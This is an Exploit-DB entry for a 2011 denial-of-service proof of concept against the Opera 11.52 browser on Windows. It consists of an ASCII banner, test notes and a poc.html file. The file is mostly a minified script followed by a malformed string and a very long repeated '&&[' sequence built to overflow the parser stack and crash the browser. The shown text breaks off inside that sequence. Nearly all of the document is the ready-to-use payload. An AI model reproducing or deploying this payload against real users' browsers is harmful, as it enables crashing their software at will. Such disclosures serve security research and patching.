Exploit-DB #18006
Description: Opera 11.52 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2011-10-20
Author: pigtail23

Exploit:
## _  (`-')  _               (`-')     (`-')  _   _                              ##
## \-.(OO ) (_)        .->   ( OO).->  (OO ).-/  (_)      <-.                    ##
## _.'    \ ,-(`-') ,---(`-')/    '._  / ,---.   ,-(`-'),--. )   .----.  .----.  ##
##(_...--'' | ( OO)'  .-(OO )|'--...__)| \ /`.\  | ( OO)|  (`-')\_,-.  |\_.-,  | ##
##|  |_.' | |  |  )|  | .-, \`--.  .--''-'|_.' | |  |  )|  |OO )   .' .'  |_  <  ##
##|  .___.'(|  |_/ |  | '.(_/   |  |  (|  .-.  |(|  |_/(|  '__ | .'  /_ .-. \  | ##
##|  |      |  |'->|  '-'  |    |  |   |  | |  | |  |'->|     |'|      |\ `-'  / ##
##`--'      `--'    `-----'     `--'   `--' `--' `--'   `-----' `------' `---''  ##
###################################################################################
###################################################################################
October 19, 2011

Opera Denial of Service PoC (Stack Overflow)

Testsystem: WinXP SP3, Win7(64 bit)
Opera version: 11.? <= 11.52

####################################################################################


poc.html:

<html>
<body>
<script type="text/javascript">//<![CDATA[
function sj_wf(a){var b=arguments;return function(){a.apply(null,[].slice.apply(b).slice(1))}};function sj_ce(d,c,b){var a=_d.createElement(d);if(c)a.id=c;if(b)a.className=b;return a};function sj_be(a,b,c,d){if((a==_w||a==_d.body)&&b=="load")if("undefined"!=typeof _d.readyState&&"complete"===_d.readyState){c();return}if(a.addEventListener)a.addEventListener(b,c,d);else if(a.attachEvent)a.attachEvent("on"+b,c);else a["on"+b]=c}function sj_ue(a,b,c,d){if(a.removeEventListener)a.removeEventListener(b,c,d);else if(a.detachEvent)a.detachEvent("on"+b,c);else a["on"+b]=null};function sj_jb(h,f){for(var b=arguments,e,d,a=2,g={n:h};a<b.length;a+=2){e=b[a];d=b[a+1];sj_be(e,d,sj_wf(c,g,f,e,d))}a<3&&c(g,f);function c(a,d,b,e){b&&sj_ue(b,e,c);sj_evt.bind("onP1",function(){if(!a.l){a.l=1;var b=sj_ce("script");b.src=(d?"/fd/sa/"+_G.Ver:"/sa/"+_G.AppVer)+"/"+a.n+".js";sj_b.appendChild(b)}},1,5)}};function sj_ev(a){return sb_ie?event:a}function sj_et(a){return sb_ie?event.srcElement:a.t%/HelloMrStack!&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&[&&